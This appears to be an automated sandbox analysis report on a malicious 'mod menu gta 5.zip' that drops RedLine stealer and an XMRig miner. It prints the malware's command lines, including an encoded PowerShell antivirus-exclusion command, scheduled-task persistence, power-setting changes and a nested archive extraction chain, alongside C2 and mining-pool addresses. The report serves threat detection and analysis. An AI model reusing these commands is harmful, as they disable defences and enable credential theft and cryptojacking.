Analysis Overview
SHA256
cdb06344f55bf67afd4df5241ed1ca723c07da6801c496d22a3db4dfc231a9da
Threat Level: Known bad
The file mоd mеnu gtа 5.zip was found to be: Known bad.
Malicious Activity Summary
RedLine
xmrig
XMRig Miner payload
RedLine payload
Downloads MZ/PE file
Reads user/profile data of web browsers
Executes dropped EXE
Loads dropped DLL
Accesses cryptocurrency files/wallets, possible credential harvesting
Legitimate hosting services abused for malware hosting/C2
Power Settings
Checks installed software on the system
Suspicious use of SetThreadContext
Command and Scripting Interpreter: PowerShell
Unsigned PE
Enumerates physical storage devices
Scheduled Task/Job: Scheduled Task
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Modifies registry class
Suspicious use of FindShellTrayWindow
Views/modifies file attributes
Suspicious use of SetWindowsHookEx
Suspicious behavior: EnumeratesProcesses
Opens file in notepad (likely ransom note)
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-12 18:44
Signatures
Unsigned PE
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-12 18:44
Reported
2024-07-12 18:45
Platform
win11-20240709-en
Max time kernel
0s
Command Line
Signatures
Processes
C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\mоd mеnu gtа 5.zip"
Network
Files
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-12 18:44
Reported
2024-07-12 19:15
Platform
win11-20240709-en
Max time kernel
1462s
Max time network
1486s
Command Line
Signatures
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-126710838-2490174220-686410903-1000_Classes\Local Settings | C:\Windows\system32\cmd.exe | N/A |
Opens file in notepad (likely ransom note)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\NOTEPAD.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 848 wrote to memory of 924 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\NOTEPAD.EXE |
| PID 848 wrote to memory of 924 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\system32\NOTEPAD.EXE |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Read.txt
C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\Read.txt
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 26.35.223.20.in-addr.arpa | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
Files
Analysis: behavioral3
Detonation Overview
Submitted
2024-07-12 18:44
Reported
2024-07-12 19:15
Platform
win11-20240709-en
Max time kernel
1465s
Max time network
1487s
Command Line
Signatures
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1210443139-7911939-2760828654-1000_Classes\Local Settings | C:\Windows\system32\cmd.exe | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-1210443139-7911939-2760828654-1000_Classes\Local Settings | C:\Windows\system32\OpenWith.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\OpenWith.exe | N/A |
Processes
C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\config.json
C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 4.159.190.20.in-addr.arpa | udp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.28.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 10.28.171.150.in-addr.arpa | udp |
Files
Analysis: behavioral4
Detonation Overview
Submitted
2024-07-12 18:44
Reported
2024-07-12 19:15
Platform
win11-20240709-en
Max time kernel
1799s
Max time network
1782s
Command Line
Signatures
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
XMRig Miner payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
xmrig
Downloads MZ/PE file
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\conhost.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\Installer.exe | N/A |
| N/A | N/A | C:\ProgramData\Dllhost\dllhost.exe | N/A |
| N/A | N/A | C:\ProgramData\Dllhost\winlogson.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\main\7z.exe | N/A |
Reads user/profile data of web browsers
Accesses cryptocurrency files/wallets, possible credential harvesting
Checks installed software on the system
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
Power Settings
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3320 set thread context of 4072 | N/A | C:\Users\Admin\AppData\Local\Temp\modest-menu.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\ProgramData\Dllhost\winlogson.exe | N/A |
Suspicious use of WriteProcessMemory
Views/modifies file attributes
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\attrib.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\modest-menu.exe
"C:\Users\Admin\AppData\Local\Temp\modest-menu.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
C:\Users\Admin\AppData\Local\Temp\conhost.exe
"C:\Users\Admin\AppData\Local\Temp\conhost.exe"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
C:\Windows\system32\mode.com
mode 65,10
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e file.zip -p1404753551733818025492326517 -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_6.zip -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_5.zip -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_4.zip -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_3.zip -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_2.zip -oextracted
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
7z.exe e extracted/file_1.zip -oextracted
C:\Windows\system32\attrib.exe
attrib +H "Installer.exe"
C:\Users\Admin\AppData\Local\Temp\main\Installer.exe
"Installer.exe"
C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C powershell -EncodedCommand "PAAjAFMAdQBNADMAcQBpAEsAOABaAG4AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBVAG0ANQBzAFMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcwBuAHQAbgAzAEoAUgBiAHcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZABEAHQAZgBPAEQAaQBXAG4AIwA+AA==" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "PAAjAFMAdQBNADMAcQBpAEsAOABaAG4AIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwBVAG0ANQBzAFMAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAcwBuAHQAbgAzAEoAUgBiAHcAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAZABEAHQAZgBPAEQAaQBXAG4AIwA+AA=="
C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk1625" /TR "C:\ProgramData\Dllhost\dllhost.exe"
C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
C:\Windows\SysWOW64\schtasks.exe
SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk1625" /TR "C:\ProgramData\Dllhost\dllhost.exe"
C:\ProgramData\Dllhost\dllhost.exe
C:\ProgramData\Dllhost\dllhost.exe
C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c chcp 1251 & C:\ProgramData\Dllhost\winlogson.exe -c config.json
C:\Windows\SysWOW64\chcp.com
chcp 1251
C:\ProgramData\Dllhost\winlogson.exe
C:\ProgramData\Dllhost\winlogson.exe -c config.json
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 71.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| NL | 94.228.166.68:80 | tcp | |
| US | 104.26.13.31:443 | api.ip.sb | tcp |
| DE | 147.45.47.81:80 | 147.45.47.81 | tcp |
| US | 104.20.4.235:443 | pastebin.com | tcp |
| DE | 147.45.47.81:80 | 147.45.47.81 | tcp |
| DE | 147.45.47.81:80 | 147.45.47.81 | tcp |
| DE | 95.179.241.203:443 | pool.hashvault.pro | tcp |
Files
memory/3320-0-0x00000000010B0000-0x00000000010B1000-memory.dmp
memory/4072-1-0x0000000000400000-0x0000000000450000-memory.dmp
memory/4072-2-0x000000007410E000-0x000000007410F000-memory.dmp
memory/4072-3-0x0000000005460000-0x0000000005A06000-memory.dmp
memory/4072-4-0x0000000004F70000-0x0000000005002000-memory.dmp
memory/4072-5-0x0000000074100000-0x00000000748B1000-memory.dmp
memory/4072-6-0x0000000005020000-0x000000000502A000-memory.dmp
memory/4072-7-0x0000000006540000-0x0000000006B58000-memory.dmp
memory/4072-8-0x0000000007D00000-0x0000000007E0A000-memory.dmp
memory/4072-9-0x0000000006460000-0x0000000006472000-memory.dmp
memory/4072-10-0x00000000064C0000-0x00000000064FC000-memory.dmp
memory/4072-11-0x0000000007E10000-0x0000000007E5C000-memory.dmp
memory/4072-12-0x0000000008910000-0x0000000008976000-memory.dmp
memory/4072-13-0x0000000008DB0000-0x0000000008F72000-memory.dmp
memory/4072-14-0x00000000094B0000-0x00000000099DC000-memory.dmp
memory/4072-15-0x0000000005D50000-0x0000000005DA0000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\conhost.exe
| MD5 | b2e6a3d0bf3320b759c464ae6fa5b735 |
| SHA1 | cc9f5de7742b9c11f7c0c0e3f9d39b0c16b38cc1 |
| SHA256 | 771b76ba28496c56d1d9c0fe67fdf7688a2f1b12a9eb428050551338945337a3 |
| SHA512 | bf2f09aebf6d4b07ec06ce37617361e149b26d7fc2f5c0715a5e479747eb5b1f8fc615c90d1e4d8d751e05dd566819facfef8a00cfb7acb61ec588b0c23b022a |
C:\Users\Admin\AppData\Local\Temp\main\main.bat
| MD5 | 893874465a8d9f68f0684fd61e9f1d3c |
| SHA1 | 866a58255ebab05d4ee2f2ed8383a6555ac1df03 |
| SHA256 | e0855b82ec99b14bdfa38dacf90dadb2071e0d413c6559c752e0b2c6e8cd08c0 |
| SHA512 | 1cc878a3236a5ce4f3a89fae580b4d16a7842fd03dfe0a2c7d1d5da5be822528ea3826f659a70de727c9307fb15997f56b7204582043dc7efcc6c818f7aa2bd7 |
C:\Users\Admin\AppData\Local\Temp\main\file.bin
| MD5 | 716459a6ceac7d310d4227ea3e9ddb59 |
| SHA1 | fa27addf18c197bf5fc054bfb5ae57de1caf3382 |
| SHA256 | ba5270891d3eef832fe34f9d67fbbb30ceb3873552ea859139914a6a783b0aa1 |
| SHA512 | 3857cc099edd99f1c20d4c4456ec4577478afcbdb6073852c6df10775a4e6de0316ab68c6dacb7212d27f49057312ba1aeb0c35e695d84832f3e9f8d61f7d8c1 |
C:\Users\Admin\AppData\Local\Temp\main\7z.exe
| MD5 | 619f7135621b50fd1900ff24aade1524 |
| SHA1 | 6c7ea8bbd435163ae3945cbef30ef6b9872a4591 |
| SHA256 | 344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2 |
| SHA512 | 2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628 |
C:\Users\Admin\AppData\Local\Temp\main\7z.dll
| MD5 | 72491c7b87a7c2dd350b727444f13bb4 |
| SHA1 | 1e9338d56db7ded386878eab7bb44b8934ab1bc7 |
| SHA256 | 34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891 |
| SHA512 | 583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511 |
memory/4072-46-0x0000000074100000-0x00000000748B1000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_5.zip
| MD5 | 870a5535c79edcf782551514f48d89ab |
| SHA1 | 333d814d65753cdc4c4e8fb587c09af6960110d1 |
| SHA256 | 814a92267e0d8867932afd625f2f8e55b04b88b2cfc31e91b6e45e473f1b057d |
| SHA512 | f8743ca2f1ef2433b41adc41adf6a5836c1901bda70d5d76301cb06b471796b360544efa591c49b3a7d09eee12cef7ba20e79571f50d891d4729598210772b06 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_4.zip
| MD5 | 6f7f4f7ed739e3ac5eee8d0876ff76d4 |
| SHA1 | 9a65d52885624dc47f342b5a9875d7720540c755 |
| SHA256 | b61a321a8a1f4ca1d8c52a1ad0464ac5882073ac8da7c5585f04ce2330b78acc |
| SHA512 | 35cad901c3f77c58803372a2f230701469d99fb9d8b16d82b59416a62d215614ab044dcae123473cc5d9a4a09e23f2edaac53ef82bbd5b3556b9b187cff50021 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT
| MD5 | 6dd7f70cddc4310e047032d70550f72c |
| SHA1 | e93c0d3a03dbe51eba117ea8e10bd0e8b6b27562 |
| SHA256 | e92508881b6d69c45897a58b4c7dc58ee68e438979604d7f7b6f6ff71f15444d |
| SHA512 | 1e6398a9739f57a3cf754a6e73f92cf67fe117440a6afe698767c578f396a4b8dab93b5568d02fa23fbcd3565b9017254625d58b1ea7a375c8537f2bab90f42c |
C:\Users\Admin\AppData\Local\Temp\main\extracted\Installer.exe
| MD5 | 4265bf9f9535ebb4e1830e2a50589285 |
| SHA1 | ddc45fe277a3b39179dd9e39e17d71b50a184607 |
| SHA256 | c07698b4c960b60d8a3c661887d6cc1f7fe74e31a24d4c2ae95d52d1c92ce403 |
| SHA512 | 3a7a0a8a6b82d5e1b6c06c12250eb9b347ed024811467d6da5123f6d07a79836a4e414758cb5c708d0c96cc4a020f8743b2c1e4fa5f5ed448fc087772ab592be |
memory/2388-90-0x0000000000AB0000-0x0000000000ABC000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip
| MD5 | 18f4fe969c4ba0517b403e28f7ad2b72 |
| SHA1 | 9df09751ee1246db2ed6b6ed6fec87fb0891e077 |
| SHA256 | 06d1004f28a87b42b1d7ac23ff2e4b43d736295abc2e84740504386f40a041f4 |
| SHA512 | 9847b8e2b849b09a76e22ab0d76a1a7d29079676dbdf4277b712709af0ac6a6f0e3a473f144f0a8e247861111357027a758b95e4d096d24cec160192c5da32a4 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip
| MD5 | a915fd2a4e2750ee9003e628294bf284 |
| SHA1 | f9adc1e65fc3d2cf39b2c5a89030f3225e21616d |
| SHA256 | 5e2e339dbee22d6c05d652646071bc81ad96a6422eb311453ca3905e7dfea285 |
| SHA512 | 044d5370ec915fb488cf77c1b181f5a4f89833028266f922766b782ff445f61ab85b92980d6939d0e252a368eb846def27bcdea7f029999d6854a90c793b3a5f |
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_3.zip
| MD5 | 4a5f569872c858ede1c0c67500cfdd6d |
| SHA1 | cdcac69d89b45a7903198467c2d2d32126c31661 |
| SHA256 | 88b2d9a82c911ad61f3570aa31b360ae1649b117f6495459698d724f0c9638dc |
| SHA512 | d9c6776829def517a253e9c60d0316dbc03092f850383305089dc1110b1abd19668ae47dca8188e96c6f12b66a8e5b5a783901f2115cadd5c1accf019c3bdb40 |
C:\Users\Admin\AppData\Local\Temp\main\extracted\file_6.zip
| MD5 | a62944686498212b290eae637729a151 |
| SHA1 | 2053660850d3f578f7b31e5ced16069d6f9c4ee0 |
| SHA256 | 0bb07f0caab7e5539e7efeca5bee359d9f6b49237e0c908981d9168680fe2b3e |
| SHA512 | ae6abd482552445cbf8c308948519227b0d1a82c1b3adb4800f8c9ac32c519c8d0aee8f3b4caada26d1976b63b032aad72d95e574adf205b947dada23a5b8ad3 |
memory/1784-91-0x00000000034B0000-0x00000000034E6000-memory.dmp
memory/1784-92-0x0000000005CC0000-0x00000000062EA000-memory.dmp
memory/1784-94-0x00000000063A0000-0x0000000006406000-memory.dmp
memory/1784-93-0x0000000005BD0000-0x0000000005BF2000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4mm1l04z.n5t.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1784-103-0x00000000064D0000-0x0000000006827000-memory.dmp
memory/1784-104-0x0000000006970000-0x000000000698E000-memory.dmp
memory/1784-105-0x0000000006A20000-0x0000000006A6C000-memory.dmp
memory/1784-106-0x0000000007B20000-0x0000000007B54000-memory.dmp
memory/1784-107-0x0000000070280000-0x00000000702CC000-memory.dmp
memory/1784-116-0x0000000007B60000-0x0000000007B7E000-memory.dmp
memory/1784-117-0x0000000007B90000-0x0000000007C34000-memory.dmp
memory/1784-118-0x0000000008410000-0x0000000008A8A000-memory.dmp
memory/1784-119-0x0000000007DD0000-0x0000000007DEA000-memory.dmp
memory/1784-120-0x0000000007E60000-0x0000000007E6A000-memory.dmp
memory/1784-121-0x0000000008060000-0x00000000080F6000-memory.dmp
memory/1784-122-0x0000000007FE0000-0x0000000007FF1000-memory.dmp
memory/1784-123-0x0000000008020000-0x000000000802E000-memory.dmp
memory/1784-124-0x0000000008030000-0x0000000008045000-memory.dmp
memory/1784-125-0x0000000008120000-0x000000000813A000-memory.dmp
memory/1784-130-0x0000000008110000-0x0000000008118000-memory.dmp
C:\ProgramData\Dllhost\dllhost.exe
| MD5 | 4aa5e32bfe02ac555756dc9a3c9ce583 |
| SHA1 | 50b52a46ad59cc8fdac2ced8a0dd3fceeb559d5f |
| SHA256 | 8a9235655b1a499d7dd9639c7494c3664e026b72b023d64ea8166808784a8967 |
| SHA512 | a02cf44a9fd47cff1017bbccf1a20bb5df71afb9110cd10c96a40aa83e8aeaff898bef465d60572282b30087144794192882b998e278e3a03d8a7e5e24313756 |
memory/2920-139-0x0000000000330000-0x0000000000346000-memory.dmp
C:\ProgramData\HostData\logs.uce
| MD5 | bb7313264bdfab2a43765b6f6abe67ee |
| SHA1 | 8e8e685e9ece9f4cdf66199dea090c422c0406f8 |
| SHA256 | cea0ef6d0e8318ee6adca97aebe02a14c42b501740c2a74808b17eb7a746ce53 |
| SHA512 | 8746b94d230ea479fe463b7e2e1fdbbe39f15430c6920235c06c82c159dfc5a4880ab90a54b28d20dc70078cc0cf0aa784da7a7686cbef98f59ac2487b74f5ce |
C:\ProgramData\Dllhost\winlogson.exe
| MD5 | 4813fa6d610e180b097eae0ce636d2aa |
| SHA1 | 1e9cd17ea32af1337dd9a664431c809dd8a64d76 |
| SHA256 | 9ef2e8714e85dcd116b709894b43babb4a0872225ae7363152013b7fd1bc95bc |
| SHA512 | 5463e61b9583dd7e73fc4c0f14252ce06bb1b24637fdf5c4b96b3452cf486b147c980e365ca6633d89e7cfe245131f528a7ecab2340251cef11cdeb49dac36aa |
C:\ProgramData\HostData\config.json
| MD5 | 183ec6f10aa2aa4e224d725068d69a53 |
| SHA1 | 4a8a26fd6c008f8f5170778a00c7016b55e91e88 |
| SHA256 | 2517078e01ed6d8eabe0634cd5e75d3ff5fb208355dadec49a494f84874bfdcb |
| SHA512 | 963f7a4b64eca129a7ec10b039baedc96385cee514e0235cfeef3783459cb6ca8d216c7590348f389819269c223927201d882d83affaaaea47ea76c1f50133f7 |
memory/332-145-0x000002A84CC90000-0x000002A84CCB0000-memory.dmp
memory/332-147-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-148-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-149-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-150-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-151-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-152-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-153-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-154-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-155-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-156-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-157-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-158-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-159-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-160-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-161-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-162-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-163-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-164-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-165-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-166-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-167-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-168-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-169-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-170-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-171-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-172-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-173-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-174-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-175-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-176-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-177-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-178-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-179-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-180-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-181-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-182-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-183-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-184-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-185-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-186-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-187-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-188-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-189-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-190-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-191-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-192-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-193-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-194-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-195-0x00007FF698200000-0x00007FF698D03000-memory.dmp
memory/332-196-0x00007FF698200000-0x00007FF698D03000-memory.dmp
